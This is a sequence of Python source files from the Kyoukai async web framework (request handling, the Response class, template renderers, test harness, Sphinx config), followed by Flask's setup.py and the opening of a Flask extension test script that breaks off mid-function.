        self.logger.info("HTTP/{} {} {} - {}".format(ctx.request.version, ctx.request.method, route, code))

    def before_request(self, func):
        """
        Set a coroutine to run as before the request.

        This coroutine should take in the HTTPRequestContext, and return a new HTTPRequestContext.

        .. note::

            This function is a shortcut to ``app.root.before_request(func)``.
        """
        return self._root_bp.before_request(func)

    def after_request(self, func):
        """
        Set a coroutine to run after the request.

        This coroutine should take in a :class:`Response`, and return a :class:`Response`.

        .. note::

            This function is a shortcut to ``app.root.after_request(func)``.
        """

        return self._root_bp.after_request(func)

    def bind_view(self, view: View):
        """
        Binds a view class to a Blueprint.

        This takes the *class*, not the instance, as a param.

        It also takes args and keyword args to instantiate the class with.

        .. note::

            This function is a shortcut to ``app.root.bind_view(view)``.
        """
        self._root_bp.bind_view(view)

    async def call_on_startup(self):
        """
        Calls the on_startup handler.

        This should not be called, unless you wish to call the startup function again (?).

        .. versionchanged:: 1.8

            This now passes the app object.
        """
        try:
            item = self._on_startup(self)
        except:
            # Only print the bottom most traceback.
            tb = traceback.format_exc()
            self.logger.error("Error calling on startup function:\n{}".format(tb))
            raise SystemExit()
        # If it's a coroutine or otherwise awaitable, await it.
        # This is so that coroutines can be passed in to handle.
        if inspect.isawaitable(item):
            await item

    def on_startup(self, coro_or_callable: typing.Callable[['Kyoukai'], None]):
        """
        Registers a function to be called on startup.

        The function should be a callable.
        :return: The unmodified callable.
        """
        if not callable(coro_or_callable):
            raise TypeError("Object {} is not callable".format(coro_or_callable))
        self._on_startup = coro_or_callable

        return coro_or_callable

    async def handle_http_error(self, err: HTTPException, protocol, ctx: HTTPRequestContext):
        """
        Handle a :class:`kyoukai.exc.HTTPException`.

        This will invoke the appropriate error handler as registered in the blueprint of the route, if we can.
        Otherwise, it will invoke the default error handler.
        """
        code = err.code
        route = err.route
        # Check if the route is None.
        # If it is, we just have to use the default blueprint to handle the exception.
        if not route:
            bp = self._root_bp
        else:
            bp = route.bp

        # Get the error handler.
        error_handler = bp.get_errorhandler(code)
        if not error_handler:
            # Since there's no special error handler derived for this code, return a basic Response.
            # If it's a 500 and we're in debug mode, format the traceback.
            if err.code == 500 and self.debug:
                # Use the Kyoukai debugger.
                should_err, r = self._debugger.debug(ctx, err)
                protocol.handle_resp(r)
                return should_err
            else:
                body = str(code)
            resp = Response(code, body)
        else:
            # Invoke the error handler specified.
            try:
                resp = wrap_response(await error_handler.invoke(ctx, exception=err), self.response_cls)
            except Exception:
                self.logger.error("Unhandled exception in error handler:\n {}".format(
                    ''.join(traceback.format_exc())
                ))
                resp = wrap_response("500", self.response_cls)
        protocol.handle_resp(resp)

        # Check if we should close the connection.
        if hasattr(ctx.request, "should_keep_alive"):
            if not ctx.request.should_keep_alive:
                protocol.close()
        else:
            # If it's that bad, just close it anyway.
            protocol.close()

        return True

    async def delegate_request(self, protocol, ctx: HTTPRequestContext):
        """
        Handles a :class:`kyoukai.context.HTTPRequestContext` and it's underlying request, processing it to the route
        handlers and such in the blueprints.

        This is an **internal** method, and should not be used outside of the protocol, or for testing.
        """
        async with ctx:
            # Acquire the lock on the protocol.
            async with protocol.lock:
                # Check if we should skip our own handling and go straight to the debugger.
                if self.debug:
                    if '__debugger__' in ctx.request.args and ctx.request.args["__debugger__"] == "yes":
                        resp = self._debugger.debug(ctx, None)
                        protocol.handle_resp(resp[1])
                        return
                # Check if there's a host header.
                if ctx.request.version != "1.0":
                    host = ctx.request.headers.get("host", None)
                    if not host:
                        exc = HTTPException(400)
                        self.log_request(ctx, code=400)
                        await self.handle_http_error(exc, protocol, ctx)
                        return
                # First, try and match the route.
                try:
                    route = self._match_route(ctx.request.path, ctx.request.method)
                except HTTPException as e:
                    # We matched it; but the route doesn't work for this method.
                    # So we catch the 405 error,
                    if e.code == 405:
                        self.log_request(ctx, code=e.code)
                        await self.handle_http_error(e, protocol, ctx)
                        return
                    elif e.code == 500:
                        # Failure matching, probably.
                        self.log_request(ctx, code=e.code)
                        await self.handle_http_error(e, protocol, ctx)
                        self.logger.error("Unhandled exception in route matching:\n {}".format(
                            ''.join(traceback.format_exc())
                        ))
                        return
                    else:
                        self.logger.error("??????? Something went terribly wrong.")
                        return

                # If the route did not match, return a 404.
                if not route:
                    fof = HTTPException(404)
                    self.log_request(ctx, code=404)
                    await self.handle_http_error(fof, protocol, ctx)
                    return

                # Try and invoke the Route.
                try:
                    # Note that this will already be a Response.
                    # The route should call `app._wrap_response` when handling the response.
                    # This is because routes are responsible for pre-route and post-route hooks, calling them in the
                    # blueprint as appropriate.
                    # So we just pass ourselves to the route and hope it invokes properly.
                    response = await route.invoke(ctx)
                except HTTPException as e:
                    # Handle a HTTPException normally.
                    self.log_request(ctx, e.code)
                    # Set the route of the exception.
                    e.route = route
                    await self.handle_http_error(e, protocol, ctx)
                    return
                except Exception as e:
                    # An uncaught exception has propogated down to our level - oh dear.
                    # Catch it, turn it into a 500, and return.
                    exc = HTTPException(500)
                    # Set the cause of the HTTP exception. Useful for 500 error handlers.
                    exc.__cause__ = e
                    # Set the route of the exception.
                    exc.route = route
                    self.log_request(ctx, 500)
                    should_err = await self.handle_http_error(exc, protocol, ctx)
                    if should_err:
                        self.logger.exception("Unhandled exception in route `{}`:".format(repr(route)))
                    return
                else:
                    # If there is no error happening, just log it as normal.
                    self.log_request(ctx, response.code)

                # Respond with the response.
                protocol.handle_resp(response)

                # Check if we should Keep-Alive it.
                if not ctx.request.should_keep_alive:
                    protocol.close()

    async def start(self, ip="0.0.0.0", port=4444, component=None):  # pragma: no cover
        """
        Run the Kyoukai component asynchronously.

        This bypasses Asphalt's runner completely and starts Kyoukai as it's own context.

        :param ip: The IP address to bind to.
        :param port: The port to bind to.
        :param component: The component to set on the application.
            If this is not passed in, it will create an empty one.
        """
        self.logger.warning("Kyoukai is bypassing Asphalt - contexts will not work.")
        ctx = Context()
        if not component:
            from kyoukai.asphalt import KyoukaiComponent
            self.component = KyoukaiComponent(self, ip, port)
        await self.component.start(ctx)

    def run(self, ip="0.0.0.0", port=4444, component=None):  # pragma: no cover
        """
        Runs the Kyoukai server from within your code.

        This is not normally invoked - instead Asphalt should invoke the Kyoukai component.
        However, this is here for convenience.
        """
        if not component:
            from kyoukai.asphalt import KyoukaiComponent
            component = KyoukaiComponent(self, ip, port)
        run_application(component)






"""
Module for a Response object.

A Response is returned by Routes when the underlying coroutine is done.
"""
import gzip
import http
import typing
import warnings

from werkzeug.datastructures import Headers

from . import util

try:
    import magic
except (ImportError, OSError):  # pragma: no cover
    _has_magic = False
    warnings.warn("Cannot load libmagic - Cannot determine file types automatically...")
else:
    _has_magic = True

from email.utils import formatdate
from http.cookies import SimpleCookie


class Response(object):
    """
    A response is responsible (no pun intended) for delivering data to the client, again.

    The method :meth:`to_bytes` transforms this into a bytes response.

    :ivar code: The response code.
    :ivar cookies: The cookies to send down with the response.
    :ivar body: The string or bytes body of the request.
    :ivar headers: A dict of headers for the response.
    :ivar request: The request object this Response is handling.
            This is automatically set inside Kyoukai.
    """

    def __init__(self, code: int, body: typing.Union[str, bytes], headers: dict = None):
        """
        Create a new response.
        """
        self.code = code
        self.cookies = SimpleCookie()
        self.body = body
        self.headers = Headers(headers) if headers else Headers()

        self._should_gzip = False
        self._is_head = False

        self.request = None

    @property
    def gzip(self):
        """
        :return: If the request is to be gzip compressed.

        Note: This will always return False on a newly created Response, unless the ``request`` instance variable is
        set on the Response.
        """
        if self.request:
            return ('gzip' in self.request.headers.get("Accept-Encoding", "")) and self._should_gzip
        else:
            return False
            # return self._should_gzip

    @gzip.setter
    def gzip(self, value):
        self._should_gzip = value

    # Utility functions.

    def get_compressed_body(self, body: bytes) -> bytes:
        """
        Returns the compressed body, if gzip is enabled.

        Otherwise, returns the normal body.
        :param body: The body to compress.
        :return: The compressed body, or just the body.
        """
        if self.gzip:
            return gzip.compress(body, 5)
        else:
            return body

    def get_response_http_version(self):
        """
        Gets what HTTP version the response should use.
        """
        if self.request:
            return self.request.version
        else:
            return "1.0"

    def _mimetype(self, body):
        """
        Calculates the mime type of the response, using libmagic.

        This is an **internal method**.
        """
        if _has_magic:
            # libmagic is unreliable when the body is str.
            # so encode it to make sure it returns correctly
            if isinstance(self.body, str):
                mime = magic.from_buffer(body.encode(), mime=True)
            else:
                mime = magic.from_buffer(body, mime=True)
            if mime:
                return mime.decode() if isinstance(mime, bytes) else mime
            else:
                return "empty"
        else:
            return "text/plain"

    def _recalculate_headers(self):
        """
        Override certain headers, like Content-Size.

        This is an **internal method**.
        """
        if not self._is_head:
            # The +2 is for the \r\n at the end.
            self.headers["Content-Length"] = len(self.body) + 2
        if 'Content-Type' not in self.headers:
            self.headers["Content-Type"] = self._mimetype(self.body) or "text/plain"

        # If it's gzip enabled, add the gzip header.
        if self.gzip:
            self.headers["Content-Encoding"] = "gzip"

        # Set cookies.
        self.headers["Date"] = formatdate()
        self.headers["Server"] = "Kyoukai/{} (see https://github.com/SunDwarf/Kyoukai)".format(util.VERSION)
        self.headers["X-Powered-By"] = "Kyoukai"

    def to_bytes(self):
        """
        Serialize a Response into :class:`bytes` to return and send to the client.

        :return: The encoded data for the response.
        """
        if self.request:
            if self.request.method.lower() == "head":
                self._is_head = True

        version = self.get_response_http_version()

        if isinstance(self.body, str):
            self.body = self.body.encode()
        elif isinstance(self.body, bytes):
            pass
        else:
            self.body = str(self.body).encode()

        if self.gzip:
            if 'Content-Type' not in self.headers:
                self.headers["Content-Type"] = self._mimetype(self.body)
            self.body = self.get_compressed_body(self.body)

        # Re-calculate headers to update everything as appropriate.
        self._recalculate_headers()

        fmt = "HTTP/{version} {code} {msg}\r\n{headers}{cookies}\r\n"
        headers_fmt = ""
        # Calculate headers
        for name, val in self.headers.items():
            headers_fmt += "{}: {}\r\n".format(name, val)

        # Get the HTTP code.
        code = http.HTTPStatus(self.code).name.replace("_", " ")

        built = fmt.format(code=self.code, msg=code, headers=headers_fmt,
                           cookies=(self.cookies.output() + "\r\n") if len(self.cookies) else "",
                           version=version)

        # Encode the built string so far.
        built = built.encode()

        # Append the body, plus the terminator.
        built += self.body + b"\r\n"

        return built

    @classmethod
    def redirect(cls, location, code=302):
        """
        Creates a new Response that redirects to a specific location.

        :param location: The location to redirect to.
        :param code: The code (usually a 301 or 302) to add to the response.
        :return: A new :class:`Response` for the redirect.
        """
        # https://github.com/pallets/werkzeug/blob/master/werkzeug/utils.py#L373
        # response body used from Werkzeug

        res = cls(
            code=code,
            body=
            '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">\n'
            '<title>Redirecting...</title>\n'
            '<h1>Redirecting...</h1>\n'
            '<p>You should be redirected automatically to target URL: '
            '<a href="{location}">{location}</a>.  If not click the link.'.format(location=location),
            headers={"Location": location}
        )
        return res


# Alias for ease of usage
redirect = Response.redirect






"""
The Base renderer is a simple ABC which children renderers inherit from and override.
"""
import abc


class Renderer:
    @abc.abstractmethod
    def get_template(self, template_name: str):
        """
        Gets a template from the rendering environment.

        :param template_name: The path to the template.
        :return: The Template object for the respective Renderer.
        """

    @abc.abstractmethod
    def render(self, template_name: str, **kwargs) -> str:
        """
        Renders a template out into a HTML string.

        :param template_name: The name of the template to use.
        :param kwargs: Keyword arguments to pass into the renderer.
        :return: A new :class:`str` which is the output of the renderer.
        """






"""
Mako renderer for templates.
"""
import posixpath

from mako import exceptions
from mako.util import to_list
from mako.lookup import TemplateLookup
from mako.template import Template

from kyoukai.renderers.base import Renderer


class MakoRenderer(Renderer):
    """
    A renderer that uses the Mako templating engine.

    :ivar environment: The global environment for this renderer.
        This is passed into the template renderer every time.
    """

    def __init__(self, lookup_directories: list = None):
        # Template lookup, which is accessed via a setting property.
        self._lookup = None

        # Lookup path.
        if not lookup_directories:
            self._lookup_directories = ['templates']
        else:
            self._lookup_directories = lookup_directories

        # Global environment.
        self.environment = {}

    @property
    def template_lookup(self) -> TemplateLookup:
        """
        :return: The :class:`mako.lookup.TemplateLookup` for this renderer.
        """
        if self._lookup is None:
            self._lookup = TemplateLookup(directories=self._lookup_directories,
                                          module_directory='/tmp/mako_modules')
        return self._lookup

    @template_lookup.setter
    def template_lookup(self, val):
        self._lookup = val

    def add_template_directories(self, *directories):
        """
        Adds a directories to the lookup paths for the templates.
        :param directories: The directories to add.
        """
        lookup = self.template_lookup
        # Process the directories to be "mako compatible."
        dirs = [posixpath.normpath(d) for d in to_list(directories, ())]
        lookup.directories += dirs

    def get_template(self, filename) -> Template:
        """
        Gets a :class:`mako.template.Template` object from the specified filename.

        :param filename: The filename of the template to retrieve.
        :return: The template returned from the disk.
        """
        # Find the template using the lookup.
        return self.template_lookup.get_template(filename)

    def render(self, filename, handle_exceptions=False, **kwargs) -> str:
        """
        Render a new template using Mako.

        :param filename: The filename of the template to lookup and render.
        :param handle_exceptions: Should a rendered error template be returned in case of an exception?
        :param kwargs: The keyword arguments to pass to the renderer.
        :return: The rendered template, in string format.
        """
        template = self.get_template(filename)
        try:
            to_pass = {**self.environment, **kwargs}
            return template.render(**to_pass)
        except Exception as e:
            if not handle_exceptions:
                raise
            else:
                # Render the error template.
                return exceptions.text_error_template().render()






from kyoukai.renderers.base import Renderer






"""
Jinja2 renderer for templates.
"""
from jinja2.environment import Environment, Template
# Default loader is the FileSystemLoader, contained inside a ChoiceLoader.
from jinja2.loaders import FileSystemLoader, ChoiceLoader, BaseLoader

from kyoukai.renderers.base import Renderer


class Jinja2Renderer(Renderer):
    """
    A renderer that uses the Jinja2 Rendering Engine.

    :param loader: The Loader to use for the engine to load templates from.
    """
    def __init__(self, loader: BaseLoader=None):
        self._loader = ChoiceLoader(loaders=[])

        if loader is None:
            # Use a default FileSystemLoader.
            self._loader.loaders.append(FileSystemLoader(searchpath="templates"))

        self._environment = None

    @property
    def loader(self):
        return self._loader

    @property
    def environment(self) -> Environment:
        if self._environment is None:
            self._environment = Environment(loader=self._loader)
        return self._environment

    @environment.setter
    def environment(self, env: Environment):
        self._environment = env

    def add_loader(self, loader: BaseLoader):
        """
        Adds a loader to the ChoiceLoader contained within.

        :param loader: The Loader to add.
        """
        self.loader.loaders.append(loader)

    def get_template(self, template_name: str) -> Template:
        """
        Gets a :class:`jinja2.environment.Template` from the Environment.

        :param template_name: The template to load.
        :return: The new template object.
        """
        return self.environment.get_template(template_name)

    def render(self, template_name: str, **kwargs) -> str:
        """
        Renders a template using Jinja2.

        :param template_name: The name of the template to render.
        :param kwargs: Keyword arguments to pass to the template as a dict.
        :return: A new str containing the rendered HTML of the template.
        """
        template = self.get_template(template_name)
        return template.render(**kwargs)








"""
The current set of test suite data used for Kyoukai.
"""
import json

from kyoukai import HTTPRequestContext
from kyoukai import Response
from kyoukai.testing.testapp import TestingKyk

kyk = TestingKyk("")


@kyk.route("/")
async def root(ctx: HTTPRequestContext):
    return "OK"


@kyk.route("/headers")
async def headers(ctx: HTTPRequestContext):
    r = Response(body="OK", code=200)
    r.headers = ctx.request.headers
    return r


@kyk.route("/params")
async def url_params(ctx: HTTPRequestContext):
    r = Response(body="", code=204)
    for param in ctx.request.args:
        r.headers[param] = ctx.request.args[param]

    return r


@kyk.route("/json", methods=["POST"])
async def js_data(ctx: HTTPRequestContext):
    body = {}
    for key, value in ctx.request.form.items():
        body[value] = key

    return json.dumps(body), 204












"""
Testing application for Kyoukai.
"""
import asyncio
import collections
import typing

from asphalt.core import Context
from kyoukai import KyoukaiProtocol

from kyoukai import Request
from kyoukai import Response
from kyoukai.app import Kyoukai


class TestProtocol(KyoukaiProtocol):
    """
    A fake test protocol, that has a mock close and send method to emulate a real transport for the app.
    """
    def handle_resp(self, response: Response):
        self.app._responses.put_nowait(response)

    def close(self):
        pass


class TestingKyk(Kyoukai):
    """
    A test application for Kyoukai.

    This has a few notable differences from a regular app:

     - The :meth:`TestKyk.feed_request` method that feeds a new request to be processed.
    """

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)

        self._testing_protocol = TestProtocol(self, Context())

        self._responses = asyncio.Queue()

    async def feed_request(self, data: typing.Union[str, Request]) -> Response:
        """
        Feeds a new Request object to the app.

        :param data: Either a string containing request data, or a raw Request object.
        :return: The Response object produced from `delegate_request`.
        """
        if isinstance(data, str):
            data = data.replace("\n", "\r\n")
            if not data.endswith("\r\n\r\n"):
                data += "\r\n"
            data = data.encode()

        # Call data_received on the protocol.
        self._testing_protocol.parser.feed_data(data)
        try:
            await self._testing_protocol._wait()
        finally:
            self._testing_protocol._empty_state()

        return self._responses.get_nowait()

    def clean(self):
        """
        Cleans up the state of the responses Queue after a request.
        """
        self._responses._queue = collections.deque()








#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Kyoukai documentation build configuration file, created by
# sphinx-quickstart on Fri Jul 22 15:11:32 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
import os
import sys

import sphinx_theme_pd

sys.path.insert(0, os.path.abspath('..'))

import kyoukai

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#
# needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.ifconfig',
    'sphinx.ext.viewcode',
    'sphinxcontrib.asyncio',
    'sphinx_autodoc_typehints'
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
#
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#
# source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = 'Kyoukai'
copyright = '2016, Isaac Dickinson'
author = 'Isaac Dickinson'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '.'.join(map(str, kyoukai.VERSIONT[0:2]))
# The full version, including alpha/beta/rc tags.
release = kyoukai.VERSION

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#
# today = ''
#
# Else, today_fmt is used as the format for a strftime call.
#
# today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This patterns also effect to html_static_path and html_extra_path
exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']

# The reST default role (used for this markup: `text`) to use for all
# documents.
#
# default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#
# add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#
# add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#
# show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'manni'

# A list of ignored prefixes for module index sorting.
# modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
# keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.
#
html_theme = "sphinx_theme_pd"
html_theme_path = [sphinx_theme_pd.get_html_theme_path()]

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#
# html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
# html_theme_path = []

# The name for this set of Sphinx documents.
# "<project> v<release> documentation" by default.
#
# html_title = 'Kyoukai v1.5.0'

# A shorter title for the navigation bar.  Default is the same as html_title.
#
# html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#
# html_logo = None

# The name of an image file (relative to this directory) to use as a favicon of
# the docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#
# html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#
# html_extra_path = []

# If not None, a 'Last updated on:' timestamp is inserted at every page
# bottom, using the given strftime format.
# The empty string is equivalent to '%b %d, %Y'.
#
# html_last_updated_fmt = None

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#
# html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#
# html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#
# html_additional_pages = {}

# If false, no module index is generated.
#
# html_domain_indices = True

# If false, no index is generated.
#
# html_use_index = True

# If true, the index is split into individual pages for each letter.
#
# html_split_index = False

# If true, links to the reST sources are added to the pages.
#
# html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#
# html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#
# html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#
# html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
# html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr', 'zh'
#
# html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# 'ja' uses this config value.
# 'zh' user can custom change `jieba` dictionary path.
#
# html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#
# html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'Kyoukaidoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
     # The paper size ('letterpaper' or 'a4paper').
     #
     # 'papersize': 'letterpaper',

     # The font size ('10pt', '11pt' or '12pt').
     #
     # 'pointsize': '10pt',

     # Additional stuff for the LaTeX preamble.
     #
     # 'preamble': '',

     # Latex figure (float) alignment
     #
     # 'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'Kyoukai.tex', 'Kyoukai Documentation',
     'Isaac Dickinson', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#
# latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#
# latex_use_parts = False

# If true, show page references after internal links.
#
# latex_show_pagerefs = False

# If true, show URL addresses after external links.
#
# latex_show_urls = False

# Documents to append as an appendix to all manuals.
#
# latex_appendices = []

# It false, will not define \strong, \code, 	itleref, \crossref ... but only
# \sphinxstrong, ..., \sphinxtitleref, ... To help avoid clash with user added
# packages.
#
# latex_keep_old_macro_names = True

# If false, no module index is generated.
#
# latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'kyoukai', 'Kyoukai Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#
# man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'Kyoukai', 'Kyoukai Documentation',
     author, 'Kyoukai', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#
# texinfo_appendices = []

# If false, no module index is generated.
#
# texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#
# texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#
# texinfo_no_detailmenu = False

# Map to the documentation of Python 3's stdlib.
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
                       'mako': ('http://docs.makotemplates.org/en/latest/', None)}






"""
Flask
-----

Flask is a microframework for Python based on Werkzeug, Jinja 2 and good
intentions. And before you ask: It's BSD licensed!

Flask is Fun
````````````

Save in a hello.py:

.. code:: python

    from flask import Flask
    app = Flask(__name__)

    @app.route("/")
    def hello():
        return "Hello World!"

    if __name__ == "__main__":
        app.run()

And Easy to Setup
`````````````````

And run it:

.. code:: bash

    $ pip install Flask
    $ python hello.py
     * Running on http://localhost:5000/

 Ready for production? `Read this first <http://flask.pocoo.org/docs/deploying/>`.

Links
`````

* `website <http://flask.pocoo.org/>`_
* `documentation <http://flask.pocoo.org/docs/>`_
* `development version
  <http://github.com/pallets/flask/zipball/master#egg=Flask-dev>`_

"""
import re
import ast
from setuptools import setup


_version_re = re.compile(r'__version__\s+=\s+(.*)')

with open('flask/__init__.py', 'rb') as f:
    version = str(ast.literal_eval(_version_re.search(
        f.read().decode('utf-8')).group(1)))


setup(
    name='Flask',
    version=version,
    url='http://github.com/pallets/flask/',
    license='BSD',
    author='Armin Ronacher',
    author_email='armin.ronacher@active-4.com',
    description='A microframework based on Werkzeug, Jinja2 '
                'and good intentions',
    long_description=__doc__,
    packages=['flask', 'flask.ext'],
    include_package_data=True,
    zip_safe=False,
    platforms='any',
    install_requires=[
        'Werkzeug>=0.7',
        'Jinja2>=2.4',
        'itsdangerous>=0.21',
        'click>=2.0',
    ],
    classifiers=[
        'Development Status :: 4 - Beta',
        'Environment :: Web Environment',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: BSD License',
        'Operating System :: OS Independent',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: 3',
        'Programming Language :: Python :: 3.3',
        'Programming Language :: Python :: 3.4',
        'Programming Language :: Python :: 3.5',
        'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
        'Topic :: Software Development :: Libraries :: Python Modules'
    ],
    entry_points='''
        [console_scripts]
        flask=flask.cli:main
    '''
)






# -*- coding: utf-8 -*-
"""
    Flask Extension Tests
    ~~~~~~~~~~~~~~~~~~~~~

    Tests the Flask extensions.

    :copyright: (c) 2015 by Ali Afshar.
    :license: BSD, see LICENSE for more details.
"""

import os
import sys
import shutil
import urllib2
import tempfile
import subprocess
import argparse

from flask import json

from setuptools.package_index import PackageIndex
from setuptools.archive_util import unpack_archive

flask_svc_url = 'http://flask.pocoo.org/extensions/'


# OS X has awful paths when using mkstemp or gettempdir().  I don't
# care about security or clashes here, so pick something that is
# actually memorable.
if sys.platform == 'darwin':
    _tempdir = '/private/tmp'
else:
    _tempdir = tempfile.gettempdir()
tdir = _tempdir + '/flaskext-test'
flaskdir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))


# virtualenv hack *cough*
os.environ['PYTHONDONTWRITEBYTECODE'] = ''


RESULT_TEMPATE = u'''\
<!doctype html>
<title>Flask-Extension Test Results</title>
<style type=text/css>
  body         { font-family: 'Georgia', serif; font-size: 17px; color: #000; }
  a            { color: #004B6B; }
  a:hover      { color: #6D4100; }
  h1, h2, h3   { font-family: 'Garamond', 'Georgia', serif; font-weight: normal; }
  h1           { font-size: 30px; margin: 15px 0 5px 0; }
  h2           { font-size: 24px; margin: 15px 0 5px 0; }
  h3           { font-size: 19px; margin: 15px 0 5px 0; }
  textarea, code,
  pre          { font-family: 'Consolas', 'Menlo', 'Deja Vu Sans Mono',
                 'Bitstream Vera Sans Mono', monospace!important; font-size: 15px;
                 background: #eee; }
  pre          { padding: 7px 15px; line-height: 1.3; }
  p            { line-height: 1.4; }
  table        { border: 1px solid black; border-collapse: collapse;
                 margin: 15px 0; }
  td, th       { border: 1px solid black; padding: 4px 10px;
                 text-align: left; }
  th           { background: #eee; font-weight: normal; }
  tr.success   { background: #D3F5CC; }
  tr.failed    { background: #F5D2CB; }
</style>
<h1>Flask-Extension Test Results</h1>
<p>
  This page contains the detailed test results for the test run of
  all {{ 'approved' if approved }} Flask extensions.
<h2>Summary</h2>
<table class=results>
  <thead>
    <tr>
      <th>Extension
      <th>Version
      <th>Author
      <th>License
      <th>Outcome
      {%- for iptr, _ in results[0].logs|dictsort %}
        <th>{{ iptr }}
      {%- endfor %}
    </tr>
  </thead>
  <tbody>
  {%- for result in results %}
    {% set outcome = 'success' if result.success else 'failed' %}
    <tr class={{ outcome }}>
      <th>{{ result.name }}
      <td>{{ result.version }}
      <td>{{ result.author }}
      <td>{{ result.license }}
      <td>{{ outcome }}
      {%- for iptr, _ in result.logs|dictsort %}
        <td><a href="#{{ result.name }}-{{ iptr }}">see log</a>
      {%- endfor %}
    </tr>
  {%- endfor %}
  </tbody>
</table>
<h2>Test Logs</h2>
<p>Detailed test logs for all tests on all platforms:
{%- for result in results %}
  {%- for iptr, log in result.logs|dictsort %}
    <h3 id="{{ result.name }}-{{ iptr }}">
      {{ result.name }} - {{ result.version }} [{{ iptr }}]</h3>
    <pre>{{ log }}</pre>
  {%- endfor %}
{%- endfor %}
'''


def log(msg, *args):
    print('[EXTTEST] ' + (msg % args))


class TestResult(object):

    def __init__(self, name, folder, statuscode, interpreters):
        intrptr = os.path.join(folder, '.tox/%s/bin/python'
                               % interpreters[0])
        self.statuscode = statuscode
        self.folder = folder
        self.success = statuscode == 0

        def fetch(field):
            try:
                c = subprocess.Popen([intrptr, 'setup.py',
                                      '--' + field], cwd=folder,
                                      stdout=subprocess.PIPE)
                return c.communicate()[0].strip()
            except OSError:
